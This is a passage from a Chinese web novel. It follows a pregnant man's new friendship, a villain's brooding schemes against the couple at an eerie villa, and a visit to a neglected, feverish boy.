“顾哥,你别生气,”沈茁忙抓住顾望西乱挥的手,“顾哥,我没想骗你,是你……是你自己误会了。” 他的声音越来越小,最后半句话几乎隐匿在了空气里。 “那我问你,”顾望西指向桌面的酒杯,“这些是什么?” “这些是我特意给你调的酒呀,”沈茁端起其中颜色最鲜艳的一杯,笑着凑到顾望西嘴边,“这杯是烈日朝阳,你尝尝好不好喝。” 顾望西垂眸看了一眼艳红色的酒水,又抬眼看向满眼期待的沈茁。 端起酒杯将杯中酒一饮而尽,顾望西冲沈茁挑了个眉,“沈茁,看看肚子。” 沈茁:??? 这话听起来怎么那么像小流氓会说的? 不过话说回来,顾望西对他怀孕这事接受度这么良好吗? 简直…… 就跟孟也当初一样,仿佛瞬间就消化掉了。 “顾哥,你相信我说的话?”沈茁试探着问,“你不觉得我是在骗人吗?” “我要当干爹,”顾望西没正面回答沈茁的问题,他哼了声,指着沈茁的肚子问:“我能摸吗?” “当然可以。” 沈茁欣然掀开自己的毛马甲,露出了宽大的白衬衫。 这件白衬衫是他偷穿林庭安的,衣服料子很好不怎么透,但从外面还是依稀能够看到他凸起的肚皮。 “哇,”顾望西不客气地摸上沈茁的肚子,在上面小心翼翼揉了两下,“这太神奇了,竟然真的鼓了这么大!” 他双眼放光,仿佛在摸一颗光滑的卤蛋。 “我可以当干爹吗?”顾望西又问了一遍。 “当然可以,”沈茁立刻应道,“顾哥,你真的不觉得我这样很奇怪吗?” “哪里奇怪?” 得了应允,顾望西大喜过望,摆手道:“这不是挺正常的,世界上稀奇事这多,男人怀孕怎么了,说不定哪天外星人就占领地球了呢。” “啊?” 沈茁心想,不愧是顾望西,思想果然超前。 “诶呀,别说这些有的没的了。” 顾望西边说话边拿出手机,下一秒沈茁的手机突然响了一下。 他掏出手机点开跟顾望西的聊天页面,只见对面发过来了一笔有很多个零的转账。 “这我不……” “哎呀,给孩子的,也不多就十万,我前几天出去玩钱花超了,等过几天有钱了再给我干孩儿包个百万红包。” 不等沈茁开口拒绝,顾望西就抽走了沈茁的手机,替他收了这笔转账。 “顾哥……” 沈茁心中一阵感动,眼尾瞬间红了。 “你别哭呀,”顾望西把手机塞回到沈茁怀里,凑到他耳边小声问:“那个,孩子是林庭安的吗?” 沈茁怔了下,呆愣点头:“是……是他的。” “哦。” 顾望西像是想到了什么,突然直起身,垂头转了转眼睛。 沈茁不明所以:“顾哥,怎么了吗?” “那个,”顾望西挠挠头,不好意思地说:“沈茁,我必须先跟你承认,之前唐卿阿姨想要撮合我和林庭安,我确实对他有点意思来着。” “但是那时候可还没有你呢!”他提高音量,急忙道:“我那时候确实对林庭安抱有一点点幻想,但是很快我就察觉到我们俩不合适。” “自从在游乐场吵了一架,我们就没怎么联系了,后来林庭安听说我来家里找他时碰到你了,还特意给我打了个电话,告诉我你们的关系。” “我看得出来他挺喜欢你的,”顾望西做错事的孩子一样看向沈茁,“你不会介意之前那些事吧?” “我不是那么小气的人。” 沈茁面色和蔼:“顾哥,你放心,我没把这件事放在心上,你要不提我早就忘了。” “那就好,”顾望西放松下来,长吁口气,“我这人大大咧咧的心思不细腻,才想到这事,还好你不是小心眼的,不然背地里肯定烦死我了。” “不会的,”沈茁又端了杯酒递给顾望西,“顾哥,你还想喝吗?” “今天天气潮湿,天一直阴着估计一会儿就要下雨,要不我让人把这些酒装起来你走的时候带回去,要是现在都喝了对身体不好。” “这些可都是林庭安私藏的好酒,”他补充道,“我认认真真调的,保准好喝。” “行啊,”顾望西喜笑颜开,“沈茁,你可真细心,我要是1的话我准保把你抢回家当媳妇,可惜了。” 沈茁脸色一红,笑了笑没说话。 顾望西和沈茁完全是不同性子,一个欢脱一个沉稳。 可偏偏他俩怎么都能聊得来,二人你一言我一语,话匣子一打开谁都收不住。 顾望西最好奇的就是沈茁肚子里的孩子,他央求沈茁掀开衣服给他看看,他保准不上手。 沈茁虽然害羞但还是同意了。 两人来到卧室关上门,沈茁脱掉闷热的毛马甲,红着脸撩开了身上的白衬衫。 高高凸起的肚子赫然暴露在空气中,顾望西当即看傻了眼。 “真是真的啊。” 他目瞪口呆,像是看到了博物馆珍藏的无价之宝。 “孩子取名了吗?”顾望西问。 “取了个小名,叫谦谦,谦逊有礼的谦。” “谦谦,我是你干爹,”顾望西蹲下身,看着沈茁的肚子,“你可得记住了,你顾干爹对你可好了,你爸还没生你的时候我就给你包了大红包。” “好了,你放下吧,”跟孩子说完话,顾望西自己闹了个脸红,他站起身示意沈茁放下衣服,“别再谦谦冻着了。” 沈茁被顾望西逗得哭笑不得,他放下衣服,笑着说:“等宝宝长大了,我一定告诉他,他干爹对他可好了。” 顾望西听沈茁这么说心里喜滋滋的,他可真厉害,年纪轻轻就当干爹了。 两人在卧室躺着聊了会天,中午顾望西留在家里吃了顿饭。 本来计划着饭后就走,但跟沈茁聊开了,他硬是待到了天黑才依依不舍地上了电梯。 “沈茁,我明天还来,我给你带我的漫画书和游戏机。” 顾望西左手拿着沈茁调的酒,右手拿着阿姨做的番茄牛腩,捂着电梯门说:“你什么时候起床,我明天要早点来。” 沈茁好不容易遇到个聊得来的同龄人,心中的不舍不比顾望西少。 他扯着嗓子喊:“我……我起得早,等你来我准保醒了。” “好,那我明天给你带我家阿姨做的蝴蝶酥。” 顾望西松开手,几秒钟后电梯门缓缓关上。 沈茁摸摸鼻子,依依不舍地转身进了屋。 晚上,林庭安跟沈茁并肩躺在床上,沈茁主动提起了顾望西。 他越说越激动,说到最后欢喜地抱住林庭安的胳膊,给他看顾望西的那笔转账记录。 “你看,这是给谦谦的红包。” “我跟顾哥聊得很开心,他还跟我分享他看过的动漫和漫画,还有不同种类的游戏。” 沈茁满面笑容,乐呵呵地说:“我俩一聊起来就什么都忘了,多亏了王阿姨,不然厨房的牛奶就干锅了。” “哦,”林庭安冷冷道:“你还给他看你肚子了?你们还谈天说地,聊人生聊理想聊爱与自由了?” 他丝毫没有掩饰自己的吃味,话里话外的醋味都要溢出来了。 “我怎么会跟别人聊什么人生理想、爱与自由呢,这些当然是要跟我老公聊。” 沈茁现在哄男人的功力渐长,他捧住林庭安的脸左右两边各亲了一下。 “以后不许给别人看你的肚子。” 林庭安冷着脸,扯开沈茁的睡衣,不客气地揉了两把。 沈茁耐着性子让他摸,心想孟也说得果然没错,男人就跟小狗差不多,得顺着毛撸。 “老公,我之前觉得生活可真无聊,待在家里什么都不能做,但是跟顾望西聊完我才发现,原来在家里也有那么多好玩的。” 他撑起身又在林庭安脸上亲了一下,“老公,谢谢你。” “今天这么开心?” 林庭安吃醋归吃醋,看到沈茁开心他也跟着高兴。 “嗯,”沈茁重重点头,“这是我的第二个朋友,我的朋友不多,但是他们都是很好的人。” “你老公就不是好人了?” “也是!” “那你老公帮了你这么大个忙,就没有一点奖励?” 林庭安抓住沈茁的手,暗示性地摩挲。 沈茁当即红了脸,说了句“关灯”就颤颤巍巍抓住了小大林。 深夜,乌云缓慢移动遮住了月亮,房间里不时响起成年男性的闷。哼。 完事后林庭安擦干净沈茁的手,在后面抱住他,恶魔低语般贴在他耳边说:“现在该我帮你了。” 第二天,顾望西果然不到八点就来了。 沈茁迎着他进屋,两人坐在客厅地上研究顾望西带来的游戏机和漫画书。 “这些漫画都是我小时候看的,有很多现在已经绝版了,咱俩铁我才给你看的,你随便看,别弄坏了就行。” “我一定小心,”沈茁拿起其中一本翻开,见里面每一页都跟新的一样,立刻生了退意,“顾哥,这太新了,要不你还是拿回去吧,我怕弄脏了。” “拿来就是给你看的,我再拿回去算是怎么回事,”顾望西果断拒绝,“诶呦我就是提醒你一下,你真弄坏了我也不会说什么。” “那好吧。” 沈茁把那本漫画书贴在胸口,自心底生出了些许灼热的暖意。 “这些都是Switch,不同版本的,具体都什么版本我也记不清了,到时候你自己探索吧,这箱是Switch的卡带,也全都给你。” “这是PS5一会儿咱俩玩这个。” 顾望西从他百宝箱一样的大箱子里掏出许多东西,翻到最后他往地上一摊。 对沈茁说:“反正这些都送给你,除了那几套绝版漫画,剩下的你随便玩。” “可是我只会玩森林冰火人,和网页版的超级马里奥。” 沈茁看着地上琳琅满目的东西,不自信地问:“我万一不会玩怎么办?” “玩游戏有啥会不会的,”顾望西塞给沈茁一个手柄,“我跟你说,这打游戏跟打飞机差不错,是人类与生俱来的能力。” 他挑了挑眉:“摸索摸索就会了。” 沈茁:…… 好……好吧。 半个小时后,沈茁聚精会神盯着电视屏幕。 不由感叹顾望西说得真对,打游戏这事甚至不用怎么摸索,跟着新手教程走不用几分钟就会了。 “诶呀,沈茁你快吃这个包子回回血,一会让人跟给打死了!” 顾望西边按动手柄边指导沈茁,话说完没两秒他就恍然大悟般用手捂住了嘴。 因为他这一个停顿的动作,两人前后脚被源源不断涌出的敌人给打死了。 电视屏幕上,他们操作的小人倒地不起。 沈茁转过身,不解地望向顾望西。 “我忘了你肚子里还有孩子呢,”顾望西懊悔道,“咱俩要文明游戏,别教坏小孩。” “不过好像一直是我在说脏话,”他反思片刻,言辞恳切地保证:“我以后绝对文明游戏!” “没关系的,”沈茁嘴角噙笑,“林庭安每天晚上给孩子讲故事,就当是中和了。” “还……还能这么中和吗?”顾望西挠挠头,“算了算了,听起来有点不靠谱,咱们还是文明用语吧。” 让无数青少年为之着迷的东西果然很毒,连沈茁都有些上瘾了。 往后一连三天,顾望西上完课就会来找沈茁,两人一起聊天打游戏看漫画书。 其实顾望西最想跟沈茁一起打篮球,但沈茁现在的身体情况别说打篮球了,就是快走两步顾望西都怕他不小心崴了脚。 第三天,是个艳阳高照的周二。 顾望西全天满课,下课之后他心里痒痒想去找沈茁。 可他又怕这时候去找沈茁会跟林庭安撞上,脑中天人交战,一时僵住了。 好在快七点的时候沈茁给他打了个电话,语气低落地问:“顾哥,你今晚不来了吗?” 那细柔的声音,顾望西听了恨不得立刻长出翅膀飞过去。 他也真是这么做的,只用半个小时就“飞”到了沈茁家。 果不其然,林庭安也在。 “来了?” 林庭安正坐在餐桌上吃饭,顾望西见他脸色不好,匆匆点头打了个招呼就去找沈茁了。 “我惹他了吗?”顾望西小声问沈茁,“那为啥那么看我?” 沈茁探出头悄悄看了林庭安一眼,用同样小的声音回道:“没事,他想陪我玩游戏我没同意,说我等你一起玩呢。” “所以他现在有点生气。” 顾望西朝沈茁竖起了大拇指,“真牛,这就是爱情的魔力吗,没想到我有生之年还能看到林庭安吃瘪。” 沈茁嘿嘿笑了笑,他表面云淡风轻,实际心里正在哗哗流泪。 哪有这么简单,还不是他答应了林庭安晚上玩点别的花样,林庭安才同意他跟顾望西玩游戏的。 虽然有条件,但要说林庭安吃瘪也不算假。 晚上两人打游戏的时候,林庭安时不时会从书房出来,到他们身边溜达一会。 他每次都希望沈茁能看自己一眼,但希望却次次落空。 最后,林庭安靠想着晚上约定好的“报酬”把自己的心态给调整好了,任劳任怨给俩“游戏家”充当仆人。 十分贴心地在他们玩完游戏坐着闲聊天的时候送上了果盘。 “还是我们谦谦幸福,爸爸可爱,爹也是个爹。” 顾望西叉了块果肉放进嘴里,由衷感叹:“你别看我周围都是有钱人,但有钱的小孩也不一定幸福。” “为什么这么说呢?”沈茁随口问道。 “因为没妈呗,”顾望西边摇头边叹息,“没有妈妈就没有庇佑,在那个群狼环绕的家里,不被咬死也得掉层皮。” “啊?”沈茁忙问:“真的假的,怎么说得像是真的有这么个小孩一样?” “当然是真的呀,”顾望西指向窗外,“就在西边那别墅,有个小孩叫什么来着,是个小男孩,妈妈因为受不了他爸朝三暮四自杀了。” “那小孩他爸骗他说他妈不要他了,年末就重新找个了女人结婚,第二年又生了一对龙凤胎。” “听说那小孩后来被他一个表亲接走了,”顾望西神秘兮兮地说:“你知道这孩子有多可怜吗?” 沈茁摇摇头,光是听了这些他就觉得这个孩子很可怜了,难道还有更可怜的吗? “这个吧我也是听说,”顾望西回忆道:“说是孩子妈刚死的那几天,小孩半夜睡醒了,就坐在床上一直对着门口叫妈妈。” “边叫边哭,边哭边叫,那声音回荡在空荡荡的别墅里,跟野鬼叫魂似的,好不凄惨。” “可惜,他再怎么叫妈妈都回不来了。” “确实很可怜。” 沈茁高涨的情绪忽地坠落下来,他低头看着自己的肚子,心惊肉跳地在上面摸了摸。 还好,他的谦谦有爸爸,有爱他的家人。 这个故事对沈茁冲击力太大,直到深夜他都处在一种闷痛潮湿的情绪里。 林庭安见沈茁兴致不高,便没提“报酬”的事。 他安慰了沈茁几句,两人就关灯睡觉了。 黑暗里,沈茁的心久久不能平静,他睁开眼问林庭安:“老公,你会永远爱我和孩子吗?” “前些天不是刚说好不许再怀疑我?” 林庭安顺了顺沈茁的背,安抚道:“我会永远爱你们,别瞎想。” 沈茁没作声,只是向后靠了靠,整个人完全缩在了林庭安的怀抱里。 他睁着眼睛,静静听林庭安的心跳声,感受这个男人散发出的温暖。 在这个深秋,在这个寒凉的夜。 他有人陪着,谦谦也有爱他的爸爸爹爹陪着,但那个孩子呢? 自从怀了孩子,沈茁就再也没办法对这种事情视而不见。 他可怜每一个没有人爱的孩子,就像可怜小时候的自己。 酸涩萦绕心头,沈茁打开手机给顾望西发了条消息:【顾哥,我能去看看那个小孩吗?】 很快顾望西就回复了:【没问题,刚好我明天下午没有课,哥带你出去溜达溜达。】 关了手机,沈茁抓起林庭安的大手贴在自己心口。 现在这张床上的所有就是他的家,他的全部。 庭安,你一定要说到做到,沈茁默默在心里说,一定要爱我们一辈子。 第68章 下午两点, 整个京都灰蒙蒙的。 乌黑的积云不断在空中翻滚,似海面汹涌的浪花,层层递进好不骇人。 “这地方可真够偏的。” 两道身影深入密林,沿着那条狭长的小路朝林中走去。 闵舟嘴上不断抱怨着, 脚下的步伐却越来越快。 “小心!” 梁远亦步亦趋跟在闵舟身后。 见闵舟踩到了根粗壮的树枝身子一歪就要摔倒, 他眼疾手快揽住了闵舟的腰, 将人悬空抱起,稳稳放到了一旁的空地上。 “这到底是什么破地方啊, ”闵舟一脸嫌弃地朝松软的土地上踢了一脚, “你说这人是不是有病, 上次见面明明是在市里,这次就变成深山老林了。” “大概因为是这地方隐秘,更适合谈事情吧。” 梁远抓着闵舟的肩,两人一前一后站定在原地, 同时抬头望向了远方。 这是条极黑的山路, 漆黑的通道后隐隐可见半山腰的位置有一栋古老的别墅。 闵舟看着那蘑菇一样尖锐的房顶,不一会儿便心惊肉跳, 起了一身鸡皮疙瘩。 不过…… 他陷入回忆, 想起了上次跟自己见面的男人。 那人脸上戴了个深黑色的口罩, 只露出了一双眼睛,眼角那颗泪痣若隐若现,极具诱惑力。 脑中闪过那人的影子,闵舟的心慢慢沉静下来。 上次他按照短信里的地址单刀赴会, 本以为会是一场鸿门宴,结果却跟他设想的完全不同。 那个男人只是“和善”地跟他聊了几句,就下了通牒让他回去等下一次见面的地点。 至于两人聊了什么,那就更没什么可说的了。 那个男人只说了一句有效信息:“既然你来了, 那就说明我们暂时达成了联盟,有事我会再联系你。” 这话可真够中二的,听得闵舟耳根发麻。 “走吧,”梁远拍拍闵舟的肩,“一会儿下雨了路更不好走。” 闵舟收回思绪,攥着胸前的背包带,抬脚继续往山上走去。 将近三点,两人才真正见到那栋别墅的影子。 站在近处看,这别墅就跟吸血鬼住的古堡似的,处处透着阴森诡异的气息。 梁远先一步推开门走了进去,闵舟心跳加快,一步不落紧跟在梁远身后。 “不要……不要……” “呜呜呜呜,不要这样……” “你不要这样!” “呜呜呜呜……呜呜呜……呜呜……呜……” 滴答——滴答—— 别墅内昏暗得像带了一层柔光滤镜,只有墙壁上的夜灯是亮的。 正中间花纹古怪的沙发上坐了个人影,他背对着门口,身姿挺拔如劲松。 他面前的桌上放了个留声机,断断续续发出婴孩啼哭的声音,还有小孩讨饶时撕心裂肺的尖锐呼喊。 “来了?” 岑复春喝了口早就放凉了的凤凰单丛,看向身后的两人,“过来坐。” “你……你能把这个声音关了吗?” 闵舟咽了咽口水,鼓足勇气上前坐到了岑复春对面,他指着桌面正在转动的留声机,“这个声音有点吓人。” “你不喜欢听吗?” 岑复春蓦地笑了,他俯身将留声机的声音调小,“我喜欢这个背景音,这已经是最低音量了,如果你还不满意现在就可以起身下山。” “我……” 闵舟刚吐出一个字,就被梁远按住了手腕,示意他克制脾气。 虽然留声机的声音比之前小了不少,但因为距离更近了,闵舟听得反而愈发真切。 这哪里是婴孩的声音,分明是七八岁小女孩的哭声! 不过这声音怎么有些熟悉…… 闵舟全身汗毛竖起,强压着心里的不适往梁远身边靠了靠。 梁远顺势在后面扶住他的腰,安抚性地捏了下。 “我本来不想这么快就把你们找来的,只是你们太蠢太笨了。” 岑复春像看垃圾一样看着闵舟,勾唇讥讽:“知道了这么大的秘密,竟然只想出了黑进别人手机这种幼稚的计谋,还真是蠢到家了。” “你以为我想吗?” 闵舟的火气蹭蹭往头顶冒:“我喜欢林庭安就不能毁了他,我把沈茁怀孕的事大肆宣扬出去对我又有什么好处?” 听到“林庭安”这三个字,岑复春的眼神立刻暗了几分。 “你喜欢他?”他的表情瞬间变得扭曲,“喜欢他又有什么用?你搞这些不入流的手段只会让他们的感情越来越好!” “那你说我该怎么办?” 闵舟被岑复春的话深深刺痛,他身体前倾猛地拍了下桌子:“你说我该怎么办!” “别激动,”梁远握住闵舟的手,强硬地把他拉回到座位,转头看向岑复春:“你愿意帮我们,显然也有自己的目的,就不要再跟我们打哑谜了。” “没错,我的确有自己的目的,”岑富春哼笑一声,“你比你旁边这位可聪明多了。” “你!”闵舟怒火中烧,奈何有求于人只能把这股火咽进肚子里。 “沈茁怀的是女孩。” 岑复春从衣兜里拿出了那个鲜红的玻璃瓶,痴迷地放在幽光下观赏。 他突然嘿嘿笑了起来,边笑边低声说:“他怀的是女孩,剩下的要怎么做就不用我说了吧?” …… 闵舟转头跟梁远面面相觑,两人沉默片刻,几秒钟后眼神俱是一亮。 “你为什么愿意帮我们?” 梁远攥紧了拳头,手心里全都是汗。 “很简单啊,”岑复春盯着那盏只剩半杯的凉茶,瞳色幽深,“我就是见不得林庭安好,有什么问题吗?” “还有事吗?”他冷冷扫过对面的两人,直截了当下了逐客令:“没事的话你们可以回去了。” 顺着岑复春的视线看向那杯茶,梁远拉着闵舟慌忙起身,朝岑富春弯了下腰:“再见。” 走出别墅,闵舟甩掉梁远的手,气冲冲道:“林庭安跟我在一起是什么很坏的事吗?什么叫帮我是因为见不得他好!” “好了,别咬文嚼字了,”梁远再次拉住闵舟,“咱们快点下山吧。” “我吐槽一下怎么了?这里面的就是个怪人,谁知道他说的是真是假!” 闵舟不耐挥手想要挣脱梁远的束缚,奈何梁远攥得更紧了。 用力把闵舟拉过来,梁远贴在他耳边用极小的声音说:“我刚才看到他那盏茶里有个死掉的苍蝇,可他竟然视若无睹喝得有滋有味。” “这地方古怪,你惹急了他没有任何好处。” “什……什么?” 闵舟倒吸一口凉气,重重吞咽几下口水,反手拉住梁远就往山下跑:“那咱们还是快点下山吧!” 可真是要了命了。 别墅里,两人口中那个古怪的男人正冷冷盯着桌面上的留声机。 看了一会儿,他暴怒而起挥手将留声机打碎在地。 只听砰的一声,四分五裂的塑料碎片散在地毯上。 留声机上的金属圆球不断翻滚,撞上地面的瓷瓶发出了清脆的声响。 岑复春咬牙切齿,不断用拇指揉搓手中的玻璃瓶。 为什么所有人都喜欢林庭安,为什么所有人都喜欢他! 为什么这个人明明是同性恋却还会有孩子,为什么老天总是对他这么好! 岑复春踉跄起身,身形晃动,他扶住沙发背急促喘息着。 他想到了幼时的那场晚宴,他刚被岑家接回京,还是对一切都充满好奇的年纪。 他的妈妈死了,那个从来没想过要靠孩子上位的女人死在了回京的初冬。 那时候岑复春还什么都不懂,只知道家里的饭桌上已经很久没又肉了。 母亲坐在被虫子蛀得摇摇欲坠的木桌前,给岑家写了封信。 她似乎有预感自己活不久了,只能出此下策把孩子托付给那个薄凉的男人。 岑复春亲眼看着自己的母亲倒在雪地里,然后他就被人捂住眼睛抱上了车。 在岑家的日子他活得连猪狗都不如,他是私生子,是所有人都唾弃的存在。 高高在上的小少爷会在他的饭菜里吐口水,他们出去玩总要叫他去充当跟班。 后来,岑复春好不容易有机会参加圈子里的宴会。 在那个晚上,他见到了林庭安。 林庭安穿着得体的黑西装,被许多人围在中间,他毫不怯场举着手里的果汁应对众人七嘴八舌的问候。 岑复春弓着背拘谨地站在原地,他不断问自己:“凭什么?凭什么他生下来就拥有所有人的鲜花和掌声?” 这种不平衡感成了悬在岑复春头上的一把刀,许多艰难的时刻他都是靠这一股气撑下去的。 把他拉下神坛,让他跌进泥里。 岑复春一想到这句话就热血沸腾,他好期待看到林庭安从云端坠落的那一天。 他努力成为岑家的当家人,就是为了这个。 没有人知道他处处跟林庭安作对,仅仅是因为童年种下的那根刺。 那根早已跟心脏、跟血管融在一起的刺。 后来他会跟方汉明合作也完全是因为巧合。 方汉明这个人对外的人设光鲜亮丽,实际上内里早就腐烂变质了。 岑复春最开始只是想要秦圳那批医疗设备,结果方汉明主动找到他,说愿意帮他把那批设备抢过来。 条件是要以他的名义在关岐岛开一家疗养院,剩下的就不用他管了。 岑复春欣然同意,只要能看到林庭安吃瘪的样子,开一家疗养院又算的上什么。 只是他万万没想到方汉明竟然是个恋。童。癖! 岑复春嫌恶地朝沙发砸了一拳,这个恶心至极的人不仅长期猥亵他的养女,甚至光是这样还不满足,借着开疗养院的名义行犯罪之实! 前些日子林庭安用警方势力向疗养院施压,搞得岑复春焦头烂额。 现在疗养院已经在查封边缘,眼看着方汉明的事就要压不住了,他反而感觉轻松了不少。 这把火如果烧过来不仅方汉明逃不掉,就连他自己免不了会受到牵连。 为了保险起见,岑复春很早就开始调查方汉明,结果还真让他查到了东西。 岑复春发现方汉明的养女身份并不简单,这个小女孩的母亲生前的社会关系并不复杂。 顺着女孩母亲的线往下查,他意外发现女孩生母高中时有个关系要好的学弟叫闵舟。 而闵舟的大学室友竟然就是林庭安! 这简直形成了一个完美的圆环。 岑复春紧紧握着血红的玻璃瓶,缓缓闭上了眼。 他联系闵舟不仅是想要把水搅浑,更是想要借林庭安的手扳倒方汉明。 还有就是…… 岑复春想到几个月前他看到的那份关于沈茁的调查报告,这人小时候比他幼时还要凄惨。 如果只是惨那算不上什么魅力,沈茁最大的优点就是他的生命力。 那种咬死了牙往上爬的韧劲岑复春已经很久没有看到过了。 后来他偶然拿到了一滴林庭安去送检的血样,才知道沈茁竟然怀孕了。 怀孕了。 岑复春反复品味这三个字,一片迷茫的前路似乎又有了方向。 “岑先生,家里突然有人拜访。” 侍者慌张地从地下室跑出来,停在岑复春身边,气喘吁吁道:“您看看是找个借口拒绝,还是让他们进来?” “小少爷还在家里。”侍者补充道。 “小佳没去上学?” “您许久没回家还不知道,小少爷因为发烧感冒请了一周假,今天是第二天。” “把人撵走,别让……” 岑复春边说边瞥了眼侍者手上的平板,拒绝的话极速停在嘴边。 这是……沈茁? “让他们进去,”岑复春激动地说,“把他们放进去,我马上回家会客。” 他将最后两个字的声调扬得很高,丝毫没有掩饰自己的亢奋。 “好的,”侍者恭敬点头,按下了平板上的麦克风键:“放他们进去吧。” * 其实顾望西跟那小孩的家人并不相熟,这事他也只是随便听了一耳朵。 可沈茁想要去见那小孩,他作为朋友自然得“两肋插刀”,就算打一夜电话也得把人找到! 没错,顾望西为了找到自己随耳一听的八卦里的小孩,短短一晚上的时间给手机电话薄里能搭上边儿的人都打了电话。 最后皇天不负有心人,还真让他给找到了! “顾哥,你说我买这些东西可以吗?” 沈茁看着面前紧闭的大门,压低了自己的帽檐。 他今天头一次没有穿女装出门。 顾望西给了他灵感,就算别人感觉奇怪问起他的肚子,他大可以撒个谎说自己生病了,肚子里都是腹水。 虽然骗人不对,但总比穿不合适的女装要好些。 毕竟男人怀孕这事太荒谬,应该没人会做出这种猜想。 来之前,沈茁买了很多小孩爱吃的零食和小男孩喜欢的玩具小汽车,没成想竟然卡在了进门这一步。 “顾哥,你说我们不请自来会不会很冒犯?”沈茁不安地问。 “这有什么冒犯的,”顾望西环顾四周,凑到沈茁耳边小声道:“就这地方,虽然是市区但我看跟城郊也没什么差别。” “这个年纪的孩子都是活蹦乱跳的时候,呆在这种地方憋也憋死了,咱们能过来陪他玩他肯定高兴啊。” “也是。” 沈茁转头看向身后荒凉的一片土地,比他家小区的绿化差多了。 “诶呀,”顾望西像是想到了什么,突然惊叫了一声,“我忘了今天是星期三,这小孩不会去上学了吧?” 沈茁:“……” 他望向面前冷冷清清的独栋别墅,这里面确实不像有人的样子。 “那要不咱们先回去?”沈茁莫名松了口气,“等周六周日再来。” 顾望西摸摸下巴,点头道:“也行,那咱就先回去吧。” 两人转身就走,没走几步就听身后传来了一阵脚步声,紧接着就是机器制动的声音。 “二位请留步,”一个男人跑了出来,挡在他们面前,“抱歉让二位久等了,二位请进吧。” “额……” 沈茁看了顾望西一眼,不好意思地说:“对不起叨扰了,我们是打算来看看孩子的,只是今天是周三……” “小少爷正在家呢,”男人打断道,他热情得像是在迎接来视察的领导,“二位请进吧。” “那我们就不客气了。”顾望西笑着说。 他暗中拍了一下沈茁的手,低头用只有他们两人能听到的声音说:“趁着他没变卦咱就进去吧,别过几天再不让咱们进了。” 沈茁小幅度点头:“有道理。” 第69章 别墅内部的构造跟它的外部装饰一样沉闷又压抑。 沈茁和顾望西坐在客厅, 静静等待着上楼叫人的管家。 片刻,一个穿着工作服的佣人端了两杯茶过来,放到了两人面前。 “沈茁你渴吗?”顾望西问。 沈茁摇摇头:“我不渴,怎么了吗?” “没什么, ”顾望西看着茶杯上方徐徐升起的热气, 忍不住叮嘱:“你现在这种情况还是不要随便在外面喝东西。” 他弯腰在沈茁买的几包零食里翻了翻, 找了好一会儿终于翻出了一瓶鲜牛奶,“你喝这个吧, 这应该没问题。” “这是给小朋友买的, ”沈茁心里一暖, 失笑道:“顾哥,你不用担心我,我有分寸的,能照顾好自己。” “那好吧。”顾望西悻悻把那瓶奶放回了袋子里。 又过了几分钟, 两人屁股刚坐热, 就见管家不紧不慢地从楼上走了下来。 “真的很抱歉,小少爷又不知道跑到哪里去了。” 管家脸上挂着标准的职业性笑容, 朝沈茁二人做了个无奈耸肩的动作。 “什么, 孩子丢了?” 顾望西从沙发上弹起来, 忙提议:“那……要不咱们分头找找?” “是啊,”沈茁也跟着紧张起来,附和道:“这可不是小事。” “二位不必紧张,”管家笑着说:“小少爷淘气经常自己跑出去玩, 或者躲在别墅的某个角落,等到晚饭时间他自己就出来了。” “二位如果不介意的话可以留下来吃个晚饭,相信小少爷会很开心。” 管家目光如炬,他扫了沈茁的肚子一眼, 很快又收回视线,“那我就先上楼了,劳烦二位稍等片刻。” “好吧。” 沈茁和顾望西对视一眼,两人压着心头的诡异重新坐了回去。 深秋的天总是带着些许阴湿意味,沈茁看着窗外飒飒飘落的黄叶,预感不久之后怕是就要下雨了。 他跟顾望西打了声招呼,就去一楼靠近侧门的卫生间上个厕所。 上完厕所出来,沈茁隐隐听到外面似有什么声音。 那声音不大不小,是类似于用长指甲挠黑板的音调。 卫生间旁的侧门是个玻璃门,隔着透亮的玻璃沈茁看到了色彩鲜艳的后花园。 后花园的景色和别墅门口的荒凉完全不同,甚至可以说是形成了鲜明的对比。 鬼使神差推开门,沈茁踩着满地的脆叶,顺着那道细小的声音走进了花园。 沿着小径往里走,沈茁看最深处的凉亭里蹲了个小孩。 那小孩约莫七八岁的样子,身上套了件纯白短袖,就连裤子也是极短的夏装。 他蹲在凉亭的最里面,嘴里嘀嘀咕咕似乎在说些什么。 沈茁想要上前搭话,又怕打扰了孩子自己的世界,站在原地一时不知如何是好。 在后面站了一会儿,突然一股凉风吹过。 小男孩的头发被吹了起来,他小小的身躯僵硬了一下,随即便扔掉手里的树枝,缓缓站起了身。 “你是谁?” 小男孩转头看向沈茁,他板着一张脸,面上的表情低沉阴翳全然没有孩童的纯真。 “我……”沈茁一时语塞,忙走过去低头抚摸小男孩的发顶,随口扯了个谎:“我是你舅舅的朋友,特意过来看看你的。” 他努力回想来之前顾望西给自己“科普”的知识:那个小孩后来被他舅舅收养了,他舅舅重新给他取了个小名叫小佳。 “小佳?”沈茁试探着喊了声。 “你真的是我舅舅的朋友?” 小佳戒备的脸上有了一丝松动,他指着沈茁的肚子问:“你的肚子大大的,你生病了?” 沈茁笑了笑没回答小佳这个问题,不知怎的他不想欺骗这个孩子。 小孩子个头矮,跟大人说话时总要仰着头。 沈茁想蹲下来跟小佳视线齐平,奈何肚子太大他也只能微微俯身,再往下就不行了。 “你这样很笨,”小佳用自己的小手拉住沈茁的,拽着他就往凉亭里面走,“你坐,你坐下来就没那么笨了。” “好。” 沈茁面带笑容,顺着小佳的力气跟他并排坐到了凉亭里。 “你穿这么少不冷吗?” 沈茁握住小佳的胳膊,却并不是想象中冰凉的触感。 相反,小佳身上的温度很高,就像是刚从火炉里爬出来一样,连皮带肉都发着烫。 “你发烧了?”沈茁慌忙地贴上小佳的额头,笃定道:“小佳你发烧了。” “你舅舅都不管你的吗,叫你穿这么少出来玩,你都发烧了他竟然放你自己出来?” 沈茁心疼地把小佳揽进怀里,“小佳,哥哥给你带了零食和玩具,我们进屋好不好?” “舅舅经常不回家我已经习惯了。” 小佳抓着沈茁的衣服,平日里几个月都不会哭一次的孩子,却因为沈茁几句安慰的话蓦地红了眼眶。 “哥哥,你身上的味道很好闻。” 小佳抱住沈茁的胳膊,探出小手放在了沈茁的肚子上,“哥哥,你身上的味道像我妈妈。” 人在发高烧时就连手心都是滚烫的,沈茁感觉小腹处像是贴上了烙铁,烫得他心底发颤。 或许是怀孕的缘故,他周身的气质都柔和了下来,也难怪会受小孩子喜欢。 小佳是沈茁见过五官最周正的小孩,虽然他总是冷着脸,但眉眼间却凝着一股温和的气质。 沈茁猜想小佳的妈妈大概也是个温柔的人。 只是这样温柔的人却因为遇人不淑年纪轻轻就…… 